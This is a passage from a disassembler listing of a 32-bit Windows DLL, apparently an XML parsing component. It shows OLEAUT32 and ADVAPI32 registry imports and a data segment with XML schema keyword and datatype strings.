extrn SetErrorInfo:dword ; CODE XREF: sub_69B2CDEB+48p
; sub_69B2D0C7+1Ap ...
; HRESULT __stdcall GetErrorInfo(ULONG dwReserved, IErrorInfo **pperrinfo)
extrn GetErrorInfo:dword ; CODE XREF: sub_69B2CDEB+39p
; sub_69B832AA+3Cp ...
; HRESULT __stdcall CreateErrorInfo(ICreateErrorInfo **pperrinfo)
extrn CreateErrorInfo:dword ; CODE XREF: sub_69B2D2C8+11p
; DATA XREF: sub_69B2D2C8+11r ...
; BSTR __stdcall SysAllocString(const OLECHAR *)
extrn SysAllocString:dword ; CODE XREF: sub_69B1E82F+50p
; sub_69B1E82F+64p ...
; BSTR __stdcall SysAllocStringLen(const OLECHAR *, UINT)
extrn SysAllocStringLen:dword ; CODE XREF: sub_69B1F708+87p
; sub_69B1F708+EDp ...
; HRESULT __stdcall SafeArrayUnaccessData(SAFEARRAY *psa)
extrn SafeArrayUnaccessData:dword ; CODE XREF: sub_69B2FC8D+57p
; sub_69B30E5D+116p ...
; HRESULT __stdcall SafeArrayDestroy(SAFEARRAY *psa)
extrn SafeArrayDestroy:dword ; CODE XREF: sub_69B2FC8D+35p
; sub_69B56167+74p
; DATA XREF: ...
; HRESULT __stdcall SafeArrayAccessData(SAFEARRAY *psa, void **ppvData)
extrn SafeArrayAccessData:dword ; CODE XREF: sub_69B2FC8D+27p
; sub_69B30E5D+D2p ...
; SAFEARRAY *__stdcall SafeArrayCreateVector(VARTYPE vt, LONG lLbound, ULONG cElements)
extrn SafeArrayCreateVector:dword ; CODE XREF: sub_69B2FC8D+Dp
; sub_69B5642C+26p
; DATA XREF: ...
; HRESULT __stdcall VarNumFromParseNum(NUMPARSE *pnumprs, BYTE *rgbDig, ULONG dwVtBits, VARIANT *pvar)
extrn VarNumFromParseNum:dword ; CODE XREF: sub_69B2FCFF+86p
; DATA XREF: sub_69B2FCFF+86r ...
; HRESULT __stdcall VarParseNumFromStr(OLECHAR *strIn, LCID lcid, ULONG dwFlags, NUMPARSE *pnumprs, BYTE *rgbDig)
extrn VarParseNumFromStr:dword ; CODE XREF: sub_69B2FCFF+38p
; DATA XREF: sub_69B2FCFF+38r ...
; HRESULT __stdcall VarDateFromUdate(UDATE *pudateIn, ULONG dwFlags, DATE *pdateOut)
extrn VarDateFromUdate:dword ; CODE XREF: sub_69B2FF1E+371p
; DATA XREF: sub_69B2FF1E+371r ...
; HRESULT __stdcall VarUdateFromDate(DATE dateIn, ULONG dwFlags, UDATE *pudateOut)
extrn VarUdateFromDate:dword ; CODE XREF: sub_69B304F3+36p
; sub_69B74C4C+93p
; DATA XREF: ...
; HRESULT __stdcall VariantChangeTypeEx(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, LCID lcid, USHORT wFlags, VARTYPE vt)
extrn VariantChangeTypeEx:dword ; CODE XREF: sub_69B3078B+31p
; sub_69B30E5D+14Dp ...
; HRESULT __stdcall SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound)
extrn SafeArrayGetUBound:dword ; CODE XREF: sub_69B30E5D+BBp
; sub_69B7D8C5+131p
; DATA XREF: ...
; HRESULT __stdcall SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound)
extrn SafeArrayGetLBound:dword ; CODE XREF: sub_69B30E5D+A2p
; sub_69B7D8C5+118p
; DATA XREF: ...
; HRESULT __stdcall VariantCopy(VARIANTARG *pvargDest, VARIANTARG *pvargSrc)
extrn VariantCopy:dword ; CODE XREF: sub_69B4662B+1Ap
; sub_69B475B7+156p ...
;
; Delayed imports from ADVAPI32.dll
;
; LONG __stdcall RegDeleteValueA(HKEY hKey, LPCSTR lpValueName)
extrn RegDeleteValueA:dword ; CODE XREF: sub_69B2BE45+5Fp
; sub_69B2BE45+BDp
; DATA XREF: ...
; LONG __stdcall RegDeleteKeyA(HKEY hKey, LPCSTR lpSubKey)
extrn RegDeleteKeyA:dword ; CODE XREF: sub_69B2BE45+110p
; sub_69B2BF77+106p
; DATA XREF: ...
; LONG __stdcall RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired, LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition)
extrn RegCreateKeyExA:dword ; CODE XREF: sub_69B2BD11+6Cp
; sub_69B2BD11+FAp
; DATA XREF: ...
; LONG __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
extrn RegOpenKeyExA:dword ; CODE XREF: sub_69B1A9C6+1Ap
; sub_69B2B4A9+49p ...
; LONG __stdcall RegEnumValueA(HKEY hKey, DWORD dwIndex, LPSTR lpValueName, LPDWORD lpcbValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn RegEnumValueA:dword ; CODE XREF: sub_69B2B4A9+83p
; DATA XREF: sub_69B2B4A9+83r ...
; LONG __stdcall RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData)
extrn RegSetValueExA:dword ; CODE XREF: sub_69B2B4A9+1D3p
; sub_69B2BD11+8Dp ...
; LONG __stdcall RegOpenKeyA(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult)
extrn RegOpenKeyA:dword ; CODE XREF: sub_69B2B23E+2Dp
; sub_69B2B309+17p
; DATA XREF: ...
; LONG __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn RegQueryValueExA:dword ; CODE XREF: sub_69B1A9C6+8377p
; sub_69B1A9C6+8395p ...
; LONG __stdcall RegCloseKey(HKEY hKey)
extrn RegCloseKey:dword ; CODE XREF: sub_69B1A9C6+8435p
; sub_69B2B23E+5Ep ...
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 69B92120h
dd 0
dword_69B92124 dd 0 dd offset sub_69B1E686
dd offset sub_69B114F6
dd offset sub_69B11555
dd offset sub_69B1165C
dd offset sub_69B11747
dd offset sub_69B117C2
dd offset sub_69B1183D
dd offset sub_69B118B8
dd offset sub_69B11933
dd offset sub_69B119AE
dword_69B92150 dd 0 dword_69B92154 dd 0 dd offset sub_69B1CFC6
dword_69B9215C dd 0 dword_69B92160 dd 0 dword_69B92164 dd 0 dword_69B92168 dd 0 dword_69B9216C dd 0 dword_69B92170 dd 0BB40E64Eh ; sub_69B1B814+9r ...
dword_69B92174 dd 1000h ; sub_69B2D846+A4r
dword_69B92178 dd 400h ; sub_69B2D846+71r
; BYTE Data
Data dd 800h ; DATA XREF: sub_69B1A9C6:loc_69B1A9EEr
; sub_69B1A9C6+8387o ...
dword_69B92180 dd 1000h ; sub_69B18C0C+A645r ...
align 8
off_69B92188 dd offset off_69B1F328 ; DATA XREF: sub_69B19E6E-BE7r
; sub_69B19E6E+17Ar ...
dd offset off_69B1F348
dd offset off_69B17AD0
dd offset off_69B17AE0
dd offset off_69B17B50
dd offset off_69B1F2C8
dd offset off_69B17AF0
dd offset off_69B1F2E0
dd offset off_69B1F298
dd offset off_69B17B10
dd offset off_69B17B00
dd offset off_69B17B20
dd offset off_69B1F4FC
dd offset off_69B1F524
dd offset off_69B1A030
dd offset off_69B1F3A0
dd offset off_69B1F488
dd offset off_69B1F4C0
dd offset off_69B1F4E0
dd offset off_69B1F26C
dd offset off_69B17B30
dd offset off_69B17B60
dd offset off_69B1F368
dd offset off_69B1F384
dd offset off_69B1F3C0
dd offset off_69B1F3E0
dd offset off_69B1F400
dd offset off_69B1F420
dd offset off_69B1F444
dd offset off_69B1F468
dd offset off_69B1A5AC
dd offset off_69B150B0
dd offset off_69B1F4A0
dd offset off_69B150B0
dd offset off_69B150B0
dword_69B92214 dd 0 off_69B92218 dd offset dword_69B1F1F0 ; DATA XREF: sub_69B1DFD8+Er
dd offset libID
dd 1, 5 dup(0)
; LPCWSTR off_69B92238
off_69B92238 dd offset aName ; DATA XREF: sub_69B1992C+7Ar
; sub_69B1992C+C3Ar ...
; "name"
dd offset aType ; "type"
dd offset aMaxoccurs ; "maxOccurs"
dd offset aMinoccurs ; "minOccurs"
dd offset dword_69B122A4
dd offset aModel ; "model"
dd offset aOpen ; "open"
dd offset aClosed ; "closed"
dd offset aContent ; "content"
dd offset aMixed ; "mixed"
dd offset aEmpty_0 ; "empty"
dd offset aEltonly ; "eltOnly"
dd offset aTextonly ; "textOnly"
dd offset aOrder ; "order"
dd offset aGrouporder ; "groupOrder"
dd offset aSeq ; "seq"
dd offset aOne ; "one"
dd offset aMany ; "many"
dd offset aRequired ; "required"
dd offset aYes ; "yes"
dd offset aNo ; "no"
dd offset aString ; "string"
dd offset aId ; "id"
dd offset aIdref ; "idref"
dd offset aIdrefs ; "idrefs"
dd offset aEntity_0 ; "entity"
dd offset aEntities ; "entities"
dd offset aNmtoken ; "nmtoken"
dd offset aNmtokens ; "nmtokens"
dd offset aEnumeration ; "enumeration"
dd offset aDefault_0 ; "default"
dd offset aRequiredvalue ; "requiredValue"
dd offset aSchema_0 ; "Schema"
dd offset aElementtype ; "ElementType"
dd offset aElement ; "element"
dd offset aGroup ; "group"
dd offset aAttributetype ; "AttributeType"
dd offset aAttribute ; "attribute"
dd offset aDatatype ; "datatype"
dd offset aDescription ; "description"
dd offset aExtends ; "extends"
dd offset aSchema_0 ; "Schema"
dd offset aType ; "type"
dd offset aValues ; "values"
dd offset aMaxlength ; "maxLength"
dd offset aMinlength ; "minLength"
dd offset aMax ; "max"
dd offset aMin ; "min"
dd offset aMinexclusive ; "minExclusive"
dd offset aMaxexclusive ; "maxExclusive"
dword_69B92300 dd 0 dd 10Bh
dword_69B92308 dd 4 dup(0) dd 8, 0Bh
dword_69B92320 dd 4 dup(0) dd 5, 0Bh
dword_69B92338 dd 4 dup(0) dd 2Ah, 1
dword_69B92350 dd 4 dup(0) dd 0Dh, 0Bh
dword_69B92368 dd 4 dup(0) dd 2Bh, 8
dword_69B92380 dd 4 dup(0) dd 2Ch, 1
dword_69B92398 dd 4 dup(0) dd 2Dh, 1
dword_69B923B0 dd 4 dup(0) dd 0FFFFFFFFh, 0
dword_69B923C8 dd 5 dup(0) dd 0Bh
dword_69B923E0 dd 4 dup(0) dd 2Ah, 0Bh
dword_69B923F8 dd 4 dup(0) dd 2Bh, 8
dword_69B92410 dd 4 dup(0) dd 12h, 0Bh
dword_69B92428 dd 4 dup(0) dd 1Eh, 1
dword_69B92440 dd 4 dup(0) dd 2Ch, 1
dword_69B92458 dd 4 dup(0) dd 2Dh, 1
dword_69B92470 dd 4 dup(0) dd 0FFFFFFFFh, 0
dword_69B92488 dd 4 dup(0) dword_69B92498 dd 1, 10Bh dword_69B924A0 dd 4 dup(0) dd 3, 1
dword_69B924B8 dd 4 dup(0) dd 2, 1
dword_69B924D0 dd 4 dup(0) dd 0FFFFFFFFh, 0
dword_69B924E8 dd 4 dup(0) dword_69B924F8 dd 1, 0Bh dword_69B92500 dd 4 dup(0) dd 12h, 0Bh
dword_69B92518 dd 4 dup(0) dd 1Eh, 1
dword_69B92530 dd 4 dup(0) dd 0FFFFFFFFh, 0
dword_69B92548 dd 4 dup(0) dword_69B92558 dd 0Dh, 0Bh dword_69B92560 dd 4 dup(0) dd 3, 1
dword_69B92578 dd 4 dup(0) dd 2, 1
dword_69B92590 dd 4 dup(0) dd 0FFFFFFFFh, 0
dword_69B925A8 dd 4 dup(0) dword_69B925B8 dd 2Ah, 1 dword_69B925C0 dd 4 dup(0) dd 2Ch, 1
dword_69B925D8 dd 4 dup(0) dd 2Dh, 1
dword_69B925F0 dd 4 dup(0) dd 0FFFFFFFFh, 0
dword_69B92608 dd 4 dup(0) dword_69B92618 dd 2Ah, 0Bh dword_69B92620 dd 4 dup(0) dd 2Ch, 1
dword_69B92638 dd 4 dup(0) dd 2Dh, 1
dword_69B92650 dd 4 dup(0) dd 0FFFFFFFFh, 0
dword_69B92668 dd 4 dup(0) off_69B92678 dd offset sub_69B1D244 ; DATA XREF: sub_69B1E62Cr
dword_69B9267C dd 0FFFFFFFFh ; sub_69B11F44+15w ...
off_69B92680 dd offset sub_69B86B56 ; DATA XREF: sub_69B1144A+5w
off_69B92684 dd offset sub_69B86B56 ; DATA XREF: sub_69B1144A+Aw
off_69B92688 dd offset sub_69B86B56 ; DATA XREF: sub_69B1144A+14w
off_69B9268C dd offset sub_69B86B56 ; DATA XREF: sub_69B1144A+1Ew
off_69B92690 dd offset sub_69B86B56 ; DATA XREF: sub_69B1144A+28w
off_69B92694 dd offset sub_69B86B56 ; DATA XREF: sub_69B1144A+32w
; LPCRITICAL_SECTION lpCriticalSection
lpCriticalSection dd 0 ; DATA XREF: sub_69B113FC+5o
; sub_69B19BD6:loc_69B19BF5o ...
dword_69B9269C dd 1 dd 0
dd 1, 3 dup(0)
dd 1, 0
dd 1, 3 dup(0)
dd 1, 0
dd 1, 0
dd 1, 3 dup(0)
dd 1, 3 dup(0)
dd 1, 0
dd 1, 0
dd 1, 3 dup(0)
dd 1, 0
dd 1, 0
dd 1, 22h dup(0)
dword_69B927B8 dd 0C0000005h, 0Bh, 0 ; sub_69B1CD73+C6o ...
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_69B92830 dd 3A4h dword_69B92834 dd 82798260h dd 21h, 0
dword_69B92840 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
; HMODULE hModule
hModule dd 0 ; DATA XREF: sub_69B1B7AD+1Ew
; sub_69B1B814+2Cr ...
; __int32 dword_69B92924
dword_69B92924 dd 0 ; sub_69B2C55A+5o
byte_69B92928 db 0 ; DATA XREF: DllCanUnloadNowr
; sub_69B1E3D1:loc_69B1E461w
align 4
dword_69B9292C dd 0 ; resolved to->KERNEL32.UnhandledExceptionFilter ; sub_69B2C4E2+11r
dword_69B92930 dd 0 ; __int32 dword_69B92934
dword_69B92934 dd 0 ; sub_69B1E21Er ...
; HANDLE hHeap
hHeap dd 0 ; DATA XREF: sub_69B1127C+Ar
; sub_69B19E4E+Dr ...
dword_69B9293C dd 0 ; Ordinal12+19w ...
dword_69B92940 dd 0 ; sub_69B19D0A+4Fr ...
dword_69B92944 dd 0 ; sub_69B18E72+3Ar ...
dword_69B92948 dd 0 ; sub_69B18E72+7r ...
dword_69B9294C dd 0 ; resolved to->KERNEL32.InterlockedExchangeAdd ; sub_69B1906C+1Ar ...
dword_69B92950 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_69B1CA7C+F3w ...
dword_69B92954 dd 0 ; sub_69B1B814+67r ...
dword_69B92958 dd 0 ; sub_69B1CC44+6021r ...
; LPVOID dword_69B9295C
dword_69B9295C dd 0 ; sub_69B1B0B5:loc_69B1B0D9r ...
; DWORD dwTlsIndex
dwTlsIndex dd 0 ; DATA XREF: sub_69B11D3B+1r
; sub_69B11E73r ...
; __int32 dword_69B92964
dword_69B92964 dd 0 ; sub_69B1CC44+5FC4r ...
dword_69B92968 dd 0 ; sub_69B1CA7C+38w
dword_69B9296C dd 0 ; DllGetClassObject:loc_69B1C5EAr ...
dword_69B92970 dd 0 ; sub_69B11E73+6r ...
dword_69B92974 dd 0 ; sub_69B1CC44+57r ...
dword_69B92978 dd 0 ; sub_69B17F2C+29r ...
dword_69B9297C dd 0 ; sub_69B1CA7C+6248w ...
dword_69B92980 dd 0 ; sub_69B1CC44:loc_69B22C59r
; LPVOID dword_69B92984
dword_69B92984 dd 0 ; sub_69B18CB3:loc_69B18D99r ...
byte_69B92988 db 0 ; DATA XREF: sub_69B18CB3+61w
; sub_69B18CB3+156r ...
align 4
dword_69B9298C dd 0 ; sub_69B18CB3:loc_69B1E316r ...
; LPVOID lpMem
lpMem dd 0 ; DATA XREF: sub_69B18CB3+68r
; sub_69B1A975+1Fw ...
dword_69B92994 dd 0 ; sub_69B18CB3+F0r ...
byte_69B92998 db 0 ; DATA XREF: sub_69B1B0B5+5Br
; sub_69B1B0B5:loc_69B1B142r ...
align 4
dword_69B9299C dd 0 ; sub_69B183E6+37r ...
dword_69B929A0 dd 0 ; sub_69B18C0C+1Dr ...
byte_69B929A4 db 0 ; DATA XREF: sub_69B11F7F+1Cw
; sub_69B18459r
align 4
dword_69B929A8 dd 0 ; sub_69B192E9:loc_69B11D78r ...
dword_69B929AC dd 0 ; sub_69B18C0C+6Dr ...
dword_69B929B0 dd 0 ; sub_69B1B480-26w ...
dword_69B929B4 dd 0 ; sub_69B1B480+3Aw ...
dword_69B929B8 dd 0 ; sub_69B18C0C+A652r ...
byte_69B929BC db 0 ; DATA XREF: sub_69B18C0C+7Fr
; sub_69B18CB3+1Ar ...
byte_69B929BD db 0 ; DATA XREF: sub_69B18C0C+4Fr
; sub_69B18CB3:loc_69B18D8Cr ...
align 10h
; __int32 Target
Target dd 0 ; DATA XREF: sub_69B1B193+Eo
; sub_69B2D96E+Eo
dword_69B929C4 dd 0 ; sub_69B18CB3+EBw ...
; HANDLE hObject
hObject dd 0 ; DATA XREF: sub_69B19A23+7Aw
; sub_69B19A23+9Br ...
byte_69B929CC db 0 ; DATA XREF: sub_69B18980r
; sub_69B1ABFE+1Dw
align 10h
dword_69B929D0 dd 0 ; sub_69B18CB3+45r ...
dword_69B929D4 dd 0 ; sub_69B18CB3+35r ...
dword_69B929D8 dd 0 ; sub_69B19A23+29w ...
dword_69B929DC dd 0 ; sub_69B19A23+23w ...
dword_69B929E0 dd 0 ; sub_69B19A23+1Dw ...
dword_69B929E4 dd 0 ; sub_69B19A23+17w ...
dword_69B929E8 dd 0 ; sub_69B19A23+11w ...
dword_69B929EC dd 0 ; sub_69B188DC+29w ...
dword_69B929F0 dd 0 ; sub_69B1D9E6+Cr ...
dword_69B929F4 dd 0 ; sub_69B1D8D5+4r ...
dword_69B929F8 dd 0 ; sub_69B1C352+3Er ...
dd 7FFh dup(0)
dword_69B949F8 dd 0 ; sub_69B1829F+Br ...
dword_69B949FC dd 0 ; sub_69B1ABFE:loc_69B23894w
dword_69B94A00 dd 0 ; sub_69B1B1F3:loc_69B1B22Co ...
dd 3FFh dup(0)
byte_69B95A00 db 0 ; DATA XREF: sub_69B1B1F3:loc_69B1B21Fr
; sub_69B1B1F3+6Cw ...
align 4
dword_69B95A04 dd 0 ; sub_69B1D319r ...
; LPCVOID lpSource
lpSource dd 0 ; DATA XREF: sub_69B1B814+D0w
; sub_69B1B814:loc_69B1B90Er ...
; __int32 dword_69B95A0C
dword_69B95A0C dd 0 ; sub_69B70438:loc_69B704A9r ...
dd 0
dword_69B95A14 dd 0 ; sub_69B1889C+5r ...
; __int32 dword_69B95A18
dword_69B95A18 dd 0 ; sub_69B195DA+2Co ...
align 10h
dword_69B95A20 dd 0 ; sub_69B195DA+2r ...
; __int32 dword_69B95A24
dword_69B95A24 dd 0 ; sub_69B1D4E5+1Co ...
dd 0
; __int32 dword_69B95A2C
dword_69B95A2C dd 2 dup(0) ; __int32 dword_69B95A34
dword_69B95A34 dd 0 ; sub_69B1992C+FC6r ...
dd 0
; __int32 dword_69B95A3C
dword_69B95A3C dd 0 ; sub_69B1992C+C34r ...
dd 0
; __int32 dword_69B95A44
dword_69B95A44 dd 0 ; sub_69B19E6E+3900r ...
dd 0
; __int32 dword_69B95A4C
dword_69B95A4C dd 0 ; sub_69B19E6E+393Er ...
dd 0
; __int32 dword_69B95A54
dword_69B95A54 dd 0 ; sub_69B1992C+1001r ...
dd 0
; __int32 dword_69B95A5C
dword_69B95A5C dd 0 ; sub_69B19E6E+3890r ...
dd 0
; __int32 dword_69B95A64
dword_69B95A64 dd 0 ; sub_69B19E6E+9Ao ...
dd 0
; __int32 dword_69B95A6C
dword_69B95A6C dd 0 ; sub_69B19E6E+82o ...
dd 0
; __int32 dword_69B95A74
dword_69B95A74 dd 0 ; sub_69B4D2B6+4r
dd 0
; __int32 dword_69B95A7C
dword_69B95A7C dd 0 ; sub_69B8DF85+108r
dd 0
; __int32 dword_69B95A84
dword_69B95A84 dd 0 ; sub_69B173D1+35Cr ...
dd 0
; __int32 Addend
Addend dd 0 ; DATA XREF: sub_69B1BCE3+DCo
; sub_69B3F305+8o
dword_69B95A90 dd 4 dup(0) ; sub_69B40E6F+70o ...
; __int32 dword_69B95AA0
dword_69B95AA0 dd 0 ; sub_69B40E6F+67o ...
align 10h
; __int32 dword_69B95AB0
dword_69B95AB0 dd 0 ; sub_69B1BB42+10r ...
align 8
; __int32 dword_69B95AB8
dword_69B95AB8 dd 0 ; sub_69B1992C+Er ...
align 10h
; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection _RTL_CRITICAL_SECTION <0> ; DATA XREF: sub_69B1E4CF+18o
; sub_69B1E533+8o ...
dword_69B95AD8 dd 0 ; sub_69B1E4CF+6694r ...
dword_69B95ADC dd 0 ; sub_69B1E4CF+6642r ...
dword_69B95AE0 dd 0 ; sub_69B1E533r ...
; HANDLE pHandles
pHandles dd 0 ; DATA XREF: sub_69B1E4CF+31o
; StartAddress+34o ...
; HANDLE hEvent
hEvent dd 0 ; DATA XREF: sub_69B1E4CF:loc_69B1E4EEo
; sub_69B1E533:loc_69B24AC7r ...
word_69B95AEC dw 0 ; DATA XREF: sub_69B1E4CF:loc_69B1E516r
; sub_69B1E4CF+667Cw ...
align 10h
; HANDLE dword_69B95AF0
dword_69B95AF0 dd 0 ; sub_69B1E533+65A7o ...
dword_69B95AF4 dd 0 ; sub_69B1B625+107r ...
dword_69B95AF8 dd 0 ; sub_69B1949B+61r ...
dword_69B95AFC dd 0 ; sub_69B1B625+77r ...
dword_69B95B00 dd 0 ; sub_69B1B625:loc_69B24B9Fw
dword_69B95B04 dd 0 dword_69B95B08 dd 0 ; sub_69B1B625:loc_69B1B6A9r ...
dword_69B95B0C dd 0 ; sub_69B1B625+8Cr
dword_69B95B10 dd 0 dword_69B95B14 dd 0 dword_69B95B18 dd 0 ; sub_69B1949B:loc_69B24ED2r ...
dword_69B95B1C dd 0 byte_69B95B20 db 0 ; DATA XREF: sub_69B1BA12+2Dw
align 4
dword_69B95B24 dd 0 ; sub_69B1BA12+24w
dword_69B95B28 dd 0 ; sub_69B1BA12:loc_69B24CF3w
dword_69B95B2C dd 0 ; sub_69B1CD73+7Cw ...
dword_69B95B30 dd 0 ; sub_69B1CD73+55r ...
dword_69B95B34 dd 0 ; sub_69B1CD73+72w ...
dword_69B95B38 dd 0 ; sub_69B1CD73+5Cw ...
align 10h
; char Filename[]
Filename db 104h dup(0) ; DATA XREF: sub_69B1CF24+1Co
byte_69B95C44 db 0 ; DATA XREF: sub_69B1CF24+23w
align 4
dword_69B95C48 dd 0 ; sub_69B112C0+2Cw ...
align 10h
dword_69B95C50 dd 54h dup(0) dword_69B95DA0 dd 0 ; sub_69B1CFE4+38w ...
dword_69B95DA4 dd 0 ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount ; sub_69B19C19+5051w ...
dword_69B95DA8 dd 0 ; sub_69B1ECB1+32w ...
dword_69B95DAC dd 0 ; sub_69B1AEC4+35w ...
ADVAPI32_dll_handle dd 0 ; DATA XREF: .text:69B9046Co
dword_69B95DB4 dd 0 ; sub_69B1AA33+D5r ...
dword_69B95DB8 dd 0 ; sub_69B19189+85r ...
dword_69B95DBC dd 0 ; sub_69B1CFE4:loc_69B1D19Aw ...
dword_69B95DC0 dd 0 ; sub_69B1D0A4+64w ...
dd 7 dup(0)
byte_69B95DE0 db 0 ; DATA XREF: sub_69B1D0A4+4Ao
; sub_69B1CFE4+18Dr ...
byte_69B95DE1 db 0 ; DATA XREF: sub_69B19189:loc_69B19170w
; sub_69B19189:loc_69B1926Bw ...
align 4
dd 40h dup(0)
; UINT CodePage
CodePage dd 0 ; DATA XREF: sub_69B19189+Er
; sub_69B19189+56r ...
align 10h
word_69B95EF0 dw 0 ; DATA XREF: sub_69B1D0A4+6Co
; sub_69B1CFE4+14Fr ...
align 10h
byte_69B95F00 db 0 ; DATA XREF: sub_69B19189:loc_69B1917Ew
; sub_69B19189+D3w ...
align 4
dd 3Fh dup(0)
; HANDLE dword_69B96000
dword_69B96000 dd 0 ; sub_69B19587+2Er ...
dword_69B96004 dd 0 ; sub_69B19587:loc_69B1959Cr ...
; UINT uNumber
uNumber dd 0 ; DATA XREF: sub_69B11383+36w
; sub_69B11383+B196r ...
dd 5 dup(0)
dword_69B96020 dd 0 ; sub_69B11383+5Fr ...
dd 3Fh dup(0)
dword_69B96120 dd 0 ; sub_69B1949B+3D51w
dword_69B96124 dd 0 ; sub_69B1BA12+92CDr
dword_69B96128 dd 0 ; sub_69B1CF24+Ar ...
dword_69B9612C dd 0 ; sub_69B1CF24+30r
dword_69B96130 dd 0 ; sub_69B1BAE5:loc_69B1BABBr
align 8
dword_69B96138 dd 20h ; sub_69B5B878+4Ao ...
align 10h
dd offset dword_69B12AA8
dd offset dword_69B96338
dword_69B96148 dd 4 dup(0) dword_69B96158 dd 4 dup(0) dword_69B96168 dd 4 dup(0) dword_69B96178 dd 21h, 0 dd offset dword_69B12AA8+0Ch
dd offset dword_69B92300
dword_69B96188 dd 4 dup(0) dword_69B96198 dd 4 dup(0) dword_69B961A8 dd 4 dup(0) dd 24h, 0
dd offset dword_69B12AA8+24h
dd offset dword_69B923C8+10h
dword_69B961C8 dd 4 dup(0) dword_69B961D8 dd 4 dup(0) dword_69B961E8 dd 4 dup(0) dd 22h, 2 dup(0)
dd offset dword_69B92498
dword_69B96208 dd 4 dup(0) dword_69B96218 dd 4 dup(0) dword_69B96228 dd 4 dup(0) dd 25h, 2 dup(0)
dd offset dword_69B924F8
dword_69B96248 dd 4 dup(0) dword_69B96258 dd 4 dup(0) dword_69B96268 dd 4 dup(0) dd 23h, 0
dd offset dword_69B12AA8+2Ch
dd offset dword_69B92558
dword_69B96288 dd 4 dup(0) dword_69B96298 dd 4 dup(0) dword_69B962A8 dd 4 dup(0) dd 26h, 2 dup(0)
dd offset dword_69B925B8
dword_69B962C8 dd 4 dup(0) dword_69B962D8 dd 4 dup(0) dword_69B962E8 dd 4 dup(0) dd 26h, 2 dup(0)
dd offset dword_69B92618
dword_69B96308 dd 4 dup(0) dword_69B96318 dd 4 dup(0) dword_69B96328 dd 4 dup(0) dword_69B96338 dd 0 dd 1
dword_69B96340 dd 4 dup(0) dd 16h, 0Bh
dword_69B96358 dd 4 dup(0) dd 0FFFFFFFFh, 0
dword_69B96370 dd 4 dup(0) off_69B96380 dd offset sub_69B55F23 ; DATA XREF: sub_69B1AA33+AD8Cr
; sub_69B1AA33+AE54r
; BYTE dword_69B96384
dword_69B96384 dd 800h ; sub_69B1A9C6:loc_69B22DA2r ...
off_69B96388 dd offset aNull ; DATA XREF: sub_69B2F00B+Er
; sub_69B2F099+2r
; "null"
align 10h
; LPCWSTR off_69B96390
off_69B96390 dd offset word_69B26224 ; DATA XREF: sub_69B2FB4C+4r
; sub_69B30DEE+49r
dd offset aString ; "string"
dd offset aId ; "id"
dd offset aIdref ; "idref"
dd offset aIdrefs ; "idrefs"
dd offset aEntity_0 ; "entity"
dd offset aEntities ; "entities"
dd offset aNmtoken ; "nmtoken"
dd offset aNmtokens ; "nmtokens"
dd offset aNotation_0 ; "notation"
dd offset aEnumeration ; "enumeration"
dd offset aName ; "name"
dd offset aBin_base64 ; "bin.base64"
dd offset aBin_hex ; "bin.hex"
dd offset aBoolean ; "boolean"
dd offset aChar ; "char"
dd offset aDate ; "date"
dd offset aDatetime_0 ; "dateTime"
dd offset aDatetime_tz_0 ; "dateTime.tz"
dd offset aFixed_14_4 ; "fixed.14.4"
dd offset aFloat ; "float"
dd offset aFloat_ieee_7_2 ; "float.IEEE.754.32"
dd offset aFloat_ieee_7_1 ; "float.IEEE.754.64"
dd offset aI1 ; "i1"
dd offset aI2 ; "i2"
dd offset aI4 ; "i4"
dd offset aI8 ; "i8"
dd offset aInt ; "int"
dd offset aNumber ; "number"
dd offset aR4 ; "r4"
dd offset aR8 ; "r8"
dd offset aTime ; "time"
dd offset aTime_tz ; "time.tz"
dd offset aUi1 ; "ui1"
dd offset aUi2 ; "ui2"
dd offset aUi4 ; "ui4"
dd offset aUi8 ; "ui8"
dd offset aUri ; "uri"
dd offset aUuid_0 ; "uuid"
dd offset a?userDefined? ; "?user-defined?"
dword_69B96430 dd 2 dup(0) dd 111100h, 1100h, 4 dup(0)
dword_69B96450 dd 10101011h, 2 dup(10101010h), 10181810h, 2 dup(18181818h)
dd 101C1818h, 10101010h, 1E1E1E10h, 5 dup(1E1E1E1Eh), 101E1E1Eh
dd 1C101010h, 1E1E1E10h, 5 dup(1E1E1E1Eh), 101E1E1Eh, 0Eh dup(10101010h)
dd 18101010h, 2 dup(10101010h), 5 dup(1E1E1E1Eh), 101E1E1Eh
